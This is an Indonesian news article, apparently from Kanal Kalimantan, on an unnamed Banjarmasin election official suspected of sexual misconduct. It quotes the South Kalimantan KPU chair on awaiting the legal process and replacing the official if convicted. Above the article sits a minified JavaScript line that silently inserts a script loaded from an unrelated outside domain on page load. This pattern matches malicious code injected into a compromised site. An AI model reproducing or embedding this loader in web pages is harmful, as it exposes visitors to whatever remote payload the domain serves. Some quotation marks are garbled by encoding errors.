(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Teka teki siapa pejabat penyelenggaraan Pemilu di Kota Banjarmasin yang diduga bertindak asusila mulai menemui titik terang. Meski pihak polisi tak menyebut siapa nama pejabat tersebut, diduga pejabat tersebut menjabat sebagai salah satu Komisioner KPU Kota Banjarmasin.
Kasus dugaan pelecehan seksual yang melibatkan salah satu pejabat penyelenggara pemilu di Kota Banjarmasin, menjadi perhatian serius Komisioner KPU Kalsel.
Diketahui, kasus dugaan pelecehan seksual ini terjadi di kota Banjarbaru, dan kasus ini tengah ditangani oleh Polres Banjarbaru, berdasar laporan korban ke pihak kepolisian.
Ditanyai soal kebenaran informasi ini, Ketua KPU Kalsel Sarmuji mengaku pihaknya belum bisa bertindak apa-apa, lantaran yang bersangkutan belum ada kepastian hukum.
Baca: BREAKING NEWS. Cabuli Anak Laki-laki, Pelaku Pejabat Publik?
“Ini kan sedang berproses. Karena ini dugaan, kita gunakan asas praduga tak bersalah, dan dia bisa membela diri,†kata Sarmuji di Banjarmasin, Selasa (7/1) petang.
Sarmuji pun meminta untuk menunggu perkembangan dugaan kasus ini lebih lanjut. Dirinya pun menambahkan, jika memang terbukti pejabat penyelenggaraan Pemilu di Kota Banjarmasin, KPU Kalsel mengaku prihatin.
“Kami terus terang prihatin dengan kejadian ini,†tambah Sarmuji.
Ditambahkannya, jika memang yang bersangkutan benar-benar terbukti bersalah, KPU Kalsel tidak segan-segan akan memberhentikannya dan mengganti pejabat penyelenggara pemilu tersebut.
“Kalau inkrah, ya kita ganti. Tapi proses sidang kan panjang,†sebutnya.
Baca: Pejabat Penyelenggara Pemilu Terlibat Pencabulan?, Ini Kata Walikota Banjarmasin
Disinggung soal kasus dugaan pelecehan seksual yang mencuat pada awal tahapan pilkada yang telah mulai, Sarmuji menyebut tidak akan mengganggu proses penyelenggaraan pemilu. Apalagi di Kota Banjarmasin juga menyelenggarakan pemilihan walikota pada 23 September 2020 mendatang.
“Insya Allah tidak. Karena kita ada mekanisme, artinya kawan-kawan di KPU Kota Banjarmasin ada tersisa 4 komisioner. Kalau memang sulit, kita KPU Provinsi Kalsel akan turun tangan,†papar Sarmuji.
Sarmuji pun belum bisa memastikan nasib pejabat penyelenggara pemilu tersebut, jika nantinya telah ditetapkan sebagai tersangka. “Kita tunggu saja progresnya. Kita tak bisa melampaui lebih jauh,†tandasnya. (fikri)
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
This website uses cookies.